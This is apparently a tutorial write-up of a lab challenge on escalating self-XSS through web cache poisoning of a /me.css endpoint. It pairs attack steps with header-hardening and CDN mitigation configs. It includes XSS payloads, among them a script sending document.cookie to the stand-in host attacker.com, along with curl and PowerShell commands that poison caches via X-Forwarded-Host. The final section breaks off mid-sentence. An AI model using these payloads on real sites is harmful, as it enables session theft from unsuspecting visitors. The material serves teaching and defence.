Listen to this Post

Introduction:
Web cache poisoning occurs when an attacker manipulates cache keys to store malicious content served to subsequent users. In this challenge, a seemingly harmless self-XSS vulnerability becomes critical when the payload is cached via an unexpected CSS endpoint. By registering a username containing JavaScript and forcing the cache to store that response, an attacker can execute arbitrary code on every victim who visits the poisoned cache entry.
Learning Objectives:
- Understand how cache keys and storage mechanisms can be abused to escalate a self-XSS vulnerability.
- Execute a full web cache poisoning attack using simple browser techniques and command-line tools.
- Implement mitigation strategies including cache header hardening and input sanitization.
You Should Know:
- Understanding Web Cache Poisoning & Initial Payload Injection
Extended Explanation:
The vulnerable application stores user profiles under `/me` and also serves a CSS file at /me.css. When a user registers with a malicious username containing <script>alert(1337)</script>, the profile page reflects this unsanitized input (self-XSS). However, because the application caches the CSS response without proper key separation per user, the injected script executes in any browser that requests the cached /me.css.
Step‑by‑Step Guide:
- Register a malicious user – Use username:
dub-flow"><script>alert(1337)</script>. The app logs you in and redirects to/me. Verify the alert fires (self-XSS). - Probe the CSS endpoint – While logged in, visit `http://localhost/me.css`. Notice the same XSS payload triggers because the CSS file includes the reflected username.
- Test cache behavior across clients – Open a different browser (or incognito mode) and visit `http://localhost/me.css`. If the alert appears without authentication, the cache is poisoned.
Linux / Windows Commands (verify cache headers):
Linux – check cache-control and vary headers curl -I http://localhost/me.css Windows – using PowerShell Invoke-WebRequest -Uri http://localhost/me.css -Method Head | Select-Object -ExpandProperty Headers Simulate cache hit with same cache key curl -H "X-Forwarded-Host: attacker.com" http://localhost/me.css
2. Exploiting Cache Key Collision
Step‑by‑Step Guide:
Caches often key responses by URL + selected headers (e.g., Host, X-Forwarded-Host). If the application uses headers insecurely, attackers can poison multiple endpoints.
- Identify cacheable endpoint – Look for `Cache-Control: public, max-age=…` or missing
no-cache. In the challenge, `/me.css` is cached globally. - Inject via unsanitized header – Use a tool like Burp Suite or curl to send a request with a malicious `X-Forwarded-Host` header. If the backend reflects this header into the response, the cache will store it.
- Bypass self‑XSS limitation – Because the CSS endpoint caches the response for all users, the XSS payload executes for anyone who hits that resource.
Payload Examples:
<!-- Classic alert -->
<script>alert(document.cookie)</script>
<!-- Steal session tokens -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
<!-- Deface or redirect -->
<script>window.location='https://phishing.com'</script>
3. Automating Cache Poisoning Detection
Extended Guide:
Use command-line tools to test for cache poisoning vectors systematically. The following script checks if custom headers affect the cache key.
Linux Bash Script:
!/bin/bash URL="http://localhost/me.css" ATTACKER_HEADER="X-Forwarded-Host: evil.com" First request poisons cache with malicious header curl -H "$ATTACKER_HEADER" $URL -s -o /dev/null Second request without header – if response contains evil.com, cache key is vulnerable if curl -s $URL | grep -q "evil.com"; then echo "VULNERABLE: Cache key includes X-Forwarded-Host" else echo "NOT VULNERABLE" fi
Windows PowerShell:
$url = "http://localhost/me.css"
$headers = @{"X-Forwarded-Host"="evil.com"}
Invoke-WebRequest -Uri $url -Headers $headers | Out-Null
$response = Invoke-WebRequest -Uri $url
if ($response.Content -match "evil.com") {
Write-Host "VULNERABLE: Cache poisoning possible"
}
4. Mitigation: Cache Header Hardening & Code Review
Step‑by‑Step Guide for developers:
- Never cache user-specific or dynamic content – Use `Cache-Control: private, no-cache, no-store, must-revalidate` for sensitive endpoints.
- Sanitize all reflected input – Even if you think it’s “self-XSS”, output encoding (HTML entity encoding) breaks script tags:
<script>. - Restrict cache key components – Cache only on `Host` and full URL path, never on attacker-controlled headers like `X-Forwarded-Host` or
User-Agent.
Web Server Configuration Examples:
Apache (.htaccess):
<Files "me.css"> Header set Cache-Control "no-cache, no-store, private" Header set X-Content-Type-Options "nosniff" </Files>
Nginx:
location /me.css {
add_header Cache-Control "private, no-store";
add_header X-XSS-Protection "1; mode=block";
}
Application-level (Node.js/Express):
app.get('/me.css', (req, res) => {
res.set('Cache-Control', 'private, no-cache');
// Always escape output
const safeUsername = escapeHtml(req.user.name);
res.send(<code>body:before { content: "Hello, ${safeUsername}"; }</code>);
});
5. API Security & Cloud CDN Hardening
Extended Explanation:
Cloud CDNs (Cloudflare, AWS CloudFront, Akamai) use sophisticated caching rules. Misconfigured `Vary` headers or ignoring query parameters can lead to cache poisoning.
Step‑by‑Step Cloud Hardening:
- Set `Vary: Cookie, Authorization` – Forces cache to differentiate responses by authentication state.
- Use cache keys that include user context – For CloudFront, configure cache policy to include `Cookie` or
Authorization. - Disable caching for dynamic API routes – Even if an API returns JSON, ensure no sensitive data is cached.
Example AWS CloudFront Cache Policy (JSON snippet):
{
"CachePolicy": {
"MinTTL": 0,
"MaxTTL": 0,
"DefaultTTL": 0,
"ParametersInCacheKeyAndForwardedToOrigin": {
"HeadersConfig": { "HeaderBehavior": "none" },
"CookiesConfig": { "CookieBehavior": "all" },
"QueryStringsConfig": { "QueryStringBehavior": "none" }
}
}
}
Testing for CDN Cache Poisoning (curl):
Send request with attacker header to edge node curl -H "X-Forwarded-Host: poisoned.com" https://cdn.example.com/me.css Request from different IP location (use VPN) – if still poisoned, CDN cache key is flawed curl https://cdn.example.com/me.css
6. Vulnerability Exploitation & Payload Obfuscation
Extended Tutorial:
Real-world attacks often bypass simple `